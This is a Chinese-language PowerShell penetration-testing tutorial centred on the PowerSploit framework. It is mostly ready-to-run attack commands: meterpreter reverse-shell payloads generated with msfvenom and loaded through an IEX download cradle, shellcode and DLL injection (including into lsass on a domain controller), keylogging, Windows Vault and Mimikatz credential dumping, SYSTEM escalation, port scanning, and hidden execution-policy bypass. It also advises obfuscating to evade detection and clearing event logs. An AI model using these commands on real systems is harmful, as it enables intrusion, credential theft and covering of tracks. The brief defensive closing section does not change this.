从零开始学PowerShell渗透测试
字数 1461 2025-08-26 22:11:34

PowerShell渗透测试完全指南

前言

PowerShell自Windows 7起默认安装在Windows系统中,已成为渗透测试和后渗透阶段的重要工具。本指南将全面介绍PowerShell在渗透测试中的应用,从基础语法到高级框架使用。

基础语法入门

启动PowerShell

  • 通过启动栏直接输入"powershell"启动
  • 常用命令:
    • Get-Help:获取PowerShell帮助系统
    • Get-Alias:获取当前会话中的所有别名

Cmdlets命令集

PowerShell的核心命令集合,以.NET形式存在:

Get-Command -CommandType cmdlet  # 获取所有Cmdlet命令
start-process notepad.exe        # 启动记事本
Get-Process                     # 获取进程列表
Get-Content                     # 类似cat命令
Get-Location                    # 类似pwd命令
Copy-Item                       # 类似cp命令
Move-Item                       # 类似mv命令

基本运算符

  • >:输出重定向到文件(Get-Process>output.txt
  • >>:追加输出到文件(test.ps1>>output.txt
  • 2>:错误输出重定向(Get-Porcess none 2>Errors.txt
  • 2>>:错误追加到文件
  • -eq:等于比较
  • -gt:大于比较
  • -match:字符串匹配
  • -replace:字符串替换
  • -in:测试元素是否在列表/文本中

数组与变量

$Array = value1, value2, value3

控制结构

条件语句

If($var1 {comparison_statement} $var2) {
    # 执行代码
} Else {
    # 其他情况
}

循环语句

While (条件) { 代码块 }
Do { 代码块 } While(条件)
For(初始化; 条件; 增量) { 代码块 }

PowerSploit渗透测试框架

PowerSploit是Microsoft PowerShell模块集合,可用于渗透测试的各个阶段。

安装

git clone https://github.com/mattifestation/PowerSploit.git

CodeExecution模块

1. Invoke-Shellcode.ps1
向指定进程注入shellcode:

# 生成payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1234 -f powershell -o /shell.txt

# 靶机执行
Import-Module C:\PowerSploit\CodeExecution\Invoke-Shellcode.ps1
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/shell.txt')
Invoke-Shellcode -Shellcode @($buf) -ProcessId 6284

2. Invoke-DllInjection.ps1
DLL注入到指定进程(需管理员或SYSTEM权限):

# 生成DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.6 LPORT=1234 -f dll -o /root/Desktop/shell.dll

# 注入执行
Import-Module C:\PowerSploit\CodeExecution\Invoke-DllInjection.ps1
Invoke-DllInjection -ProcessID 5560 -Dll shell.dll

3. Invoke-ReflectivePEInjection.ps1
远程DLL注入:

Import-Module C:\PowerSploit\CodeExecution\Invoke-ReflectivePEInjection.ps1
$PEBytes = [IO.File]::ReadAllBytes('c:\shell.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName 2008R2DC

Exfiltration模块(信息收集)

1. Get-TimedScreenshot.ps1
定时截屏:

Import-Module C:\PowerSploit\Exfiltration\Get-TimedScreenshot.ps1
Get-TimedScreenshot -Path c:\temp\ -Interval 5 -EndTime 11:23

2. Get-Keystrokes.ps1
键盘记录:

Import-Module C:\PowerSploit\Exfiltration\Get-Keystrokes.ps1
Get-Keystrokes -LogPath C:\temp\key.log -Timeout 2

3. Get-VaultCredential.ps1
获取Windows Vault中保存的密码:

Import-Module C:\PowerSploit\Exfiltration\Get-VaultCredential.ps1
Get-VaultCredential

4. Invoke-Mimikatz.ps1
Mimikatz功能集成:

Import-Module C:\PowerSploit\Exfiltration\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords exit"

Privesc模块(权限提升)

1. Get-System.ps1
提升当前线程令牌为SYSTEM:

Import-Module C:\PowerSploit\Privesc\Get-System.ps1
Get-System

2. PowerUp.ps1
执行提权检查:

Import-Module C:\PowerSploit\Privesc\PowerUp.ps1
Invoke-AllChecks | Out-File pri_info.txt

Recon模块(内网侦察)

1. Invoke-Portscan.ps1
端口扫描:

Import-Module C:\PowerSploit\Recon\Invoke-Portscan.ps1
Invoke-Portscan -Hosts 192.168.3.0/24 -T 4 -Ports "21,22,23,80,1433,1521,3306,3389" | Out-File port_info.txt

2. Invoke-ReverseDnsLookup.ps1
DNS反向解析:

Import-Module C:\PowerSploit\Recon\Invoke-ReverseDnsLookup.ps1
Invoke-ReverseDnsLookup '192.168.3.20-192.168.3.24'

执行绕过技术

  1. 本地权限绕过
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
  1. 本地隐藏执行
PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File xxx.ps1
  1. 远程下载执行
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://网址/对应脚本名称'); Invoke-Mimikatz -DumpCreds"

最佳实践与注意事项

  1. 环境准备

    • 确保目标系统已安装PowerShell 2.0或更高版本
    • 测试前确认执行策略(Get-ExecutionPolicy
  2. 隐蔽性

    • 使用混淆技术避免检测
    • 考虑使用内存执行减少磁盘痕迹
  3. 权限管理

    • 提权操作需要管理员或SYSTEM权限
    • 敏感操作前先进行权限检查
  4. 日志清理

    • 操作完成后清除事件日志
    • 删除临时文件和脚本
  5. 防御措施

    • 监控PowerShell活动
    • 限制PowerShell执行策略
    • 禁用不必要的PowerShell版本

总结

PowerShell作为Windows系统内置的强大工具,在渗透测试中具有不可替代的作用。通过PowerSploit等框架,可以实现从信息收集到权限提升的完整攻击链。掌握这些技术不仅有助于攻击测试,也能帮助防御者更好地理解攻击手法,构建更安全的系统环境。

PowerShell渗透测试完全指南 前言 PowerShell自Windows 7起默认安装在Windows系统中,已成为渗透测试和后渗透阶段的重要工具。本指南将全面介绍PowerShell在渗透测试中的应用,从基础语法到高级框架使用。 基础语法入门 启动PowerShell 通过启动栏直接输入"powershell"启动 常用命令: Get-Help :获取PowerShell帮助系统 Get-Alias :获取当前会话中的所有别名 Cmdlets命令集 PowerShell的核心命令集合,以.NET形式存在: 基本运算符 > :输出重定向到文件( Get-Process>output.txt ) >> :追加输出到文件( test.ps1>>output.txt ) 2> :错误输出重定向( Get-Porcess none 2>Errors.txt ) 2>> :错误追加到文件 -eq :等于比较 -gt :大于比较 -match :字符串匹配 -replace :字符串替换 -in :测试元素是否在列表/文本中 数组与变量 控制结构 条件语句 : 循环语句 : PowerSploit渗透测试框架 PowerSploit是Microsoft PowerShell模块集合,可用于渗透测试的各个阶段。 安装 CodeExecution模块 1. Invoke-Shellcode.ps1 向指定进程注入shellcode: 2. Invoke-DllInjection.ps1 DLL注入到指定进程(需管理员或SYSTEM权限): 3. Invoke-ReflectivePEInjection.ps1 远程DLL注入: Exfiltration模块(信息收集) 1. Get-TimedScreenshot.ps1 定时截屏: 2. Get-Keystrokes.ps1 键盘记录: 3. Get-VaultCredential.ps1 获取Windows Vault中保存的密码: 4. Invoke-Mimikatz.ps1 Mimikatz功能集成: Privesc模块(权限提升) 1. Get-System.ps1 提升当前线程令牌为SYSTEM: 2. PowerUp.ps1 执行提权检查: Recon模块(内网侦察) 1. Invoke-Portscan.ps1 端口扫描: 2. Invoke-ReverseDnsLookup.ps1 DNS反向解析: 执行绕过技术 本地权限绕过 : 本地隐藏执行 : 远程下载执行 : 最佳实践与注意事项 环境准备 : 确保目标系统已安装PowerShell 2.0或更高版本 测试前确认执行策略( Get-ExecutionPolicy ) 隐蔽性 : 使用混淆技术避免检测 考虑使用内存执行减少磁盘痕迹 权限管理 : 提权操作需要管理员或SYSTEM权限 敏感操作前先进行权限检查 日志清理 : 操作完成后清除事件日志 删除临时文件和脚本 防御措施 : 监控PowerShell活动 限制PowerShell执行策略 禁用不必要的PowerShell版本 总结 PowerShell作为Windows系统内置的强大工具,在渗透测试中具有不可替代的作用。通过PowerSploit等框架,可以实现从信息收集到权限提升的完整攻击链。掌握这些技术不仅有助于攻击测试,也能帮助防御者更好地理解攻击手法,构建更安全的系统环境。